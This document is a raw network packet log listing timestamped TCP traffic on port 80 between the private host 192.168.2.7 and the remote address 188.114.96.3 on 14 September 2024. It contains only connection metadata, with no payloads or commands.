Sep 14, 2024 18:44:27.631604910 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.631640911 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.631659031 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.631674051 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.631707907 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.631719112 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.631886959 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.631948948 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.631948948 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.632013083 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.632056952 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.632102013 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.632133961 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.632168055 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.632181883 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.632222891 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.632266998 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.632271051 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.632303953 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.632335901 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.632349968 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.632385015 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.632417917 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.632428885 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.632446051 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.632486105 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.632493973 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.632527113 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.632558107 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.632571936 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.632591963 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.632623911 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.632637978 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.632675886 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.632703066 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.632723093 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.632755041 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.632787943 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.632801056 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.632818937 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.632850885 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.632863045 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.632884979 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.632930040 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.632936001 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.632968903 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.632999897 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.633014917 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.633032084 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.633064032 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.633074999 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.633095026 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.633128881 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.633140087 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.633162975 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.633208036 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.634880066 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.635015965 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.635045052 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.635077953 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.635102987 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.635112047 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.635121107 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.635169029 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.635209084 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.635217905 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.635243893 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.635277987 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.635293007 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.635330915 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.635359049 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.635374069 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.635409117 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.635442019 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.635462999 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.635492086 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.635525942 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.635536909 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.635561943 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.635596037 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.635607004 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.635628939 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.635662079 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.635677099 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.635694981 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.635727882 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.635740042 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.635778904 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.635812998 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.635826111 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.635862112 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.635895967 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.635911942 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.635926962 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.635960102 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.635973930 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.636008978 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.636042118 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.636060953 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.636075020 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.636107922 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.636118889 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.636141062 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.636173964 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.636187077 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.636207104 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.636241913 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.636255026 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.636276007 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.636312008 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.636322975 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.636339903 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.636382103 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.694164038 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.694323063 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.694355011 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.694377899 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.694387913 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.694421053 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.694428921 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.694470882 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.694519043 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.694535017 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.720161915 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.720195055 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.720211029 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.720252037 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.720259905 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.720276117 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.720277071 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.720292091 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.720308065 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.720309973 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.720350027 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.720405102 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.720419884 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.720446110 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.720451117 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.720555067 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.720570087 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.720582962 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.720591068 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.720597982 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.720613956 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.720618963 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.720637083 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.720648050 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.720652103 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.720666885 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.720680952 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.720683098 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.720695972 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.720711946 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.720715046 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.720799923 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.720973969 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.720989943 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.721004009 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.721018076 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.721023083 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.721034050 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.721048117 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.721049070 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.721065998 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.721081018 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.721235037 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.721250057 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.721262932 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.721271038 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.721280098 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.721295118 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.721299887 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.721311092 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.721330881 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.721410036 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.721445084 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.721493959 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.721689939 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.721704960 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.721719027 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.721729994 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.721752882 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.721944094 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.722121954 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.722136021 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.722156048 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.722299099 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.722332954 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.722489119 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.722506046 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.722543955 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.724927902 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.724942923 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.724982023 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.725095034 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.725110054 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.725123882 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.725138903 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.725145102 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.725162029 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.725174904 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.725178957 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.725193024 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.725208044 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.725228071 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.725240946 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.725255966 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.725269079 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.725275040 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.725291967 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.725306988 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.725306988 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.725322962 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.725336075 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.725342989 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.725351095 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.725364923 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.725368977 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.725379944 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.725394011 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.725399017 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.725409031 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.725423098 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.725435019 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.725456953 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.725467920 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.725469112 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.725485086 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.725498915 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.725502968 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.725512981 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.725528002 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.725531101 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.725542068 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.725555897 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.725559950 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.725572109 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.725585938 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.725586891 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.725609064 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.725617886 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.725624084 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.725637913 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.725651979 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.725653887 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.725665092 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.725678921 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.725683928 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.725693941 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.725707054 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.725709915 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.725722075 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.725735903 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.725739002 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.725750923 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.725764990 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.725766897 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.725779057 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.725797892 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.725804090 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.725819111 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.725831985 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.725836039 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.725847006 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.725862026 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.725862026 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.725879908 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.725893974 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.725895882 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.725908995 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.725923061 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.725924015 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.725938082 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.725951910 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.725954056 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.725967884 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.725981951 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.725982904 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.725996971 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.726011992 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.726011992 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.726026058 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.726042032 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.767782927 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.780293941 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.780361891 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.780395985 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.780427933 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.780462027 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.780498981 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.780533075 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.780550003 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.780550003 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.780566931 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.806921959 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.806938887 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.806952953 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.806977987 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.806992054 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.807005882 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.807022095 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.807043076 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.807075977 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.807187080 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.807205915 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.807220936 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.807236910 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.807250977 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.807265997 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.807348013 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.807348013 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.807348013 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.807348013 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.807420015 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.807435989 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.807450056 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.807462931 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.807465076 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.807481050 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.807491064 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.807496071 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.807512999 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.807521105 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.807531118 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.807549000 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.807600021 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.807612896 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.807646990 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.807785034 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.807800055 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.807813883 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.807827950 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.807842970 CEST	80	54891	188.114.96.3	192.168.2.7
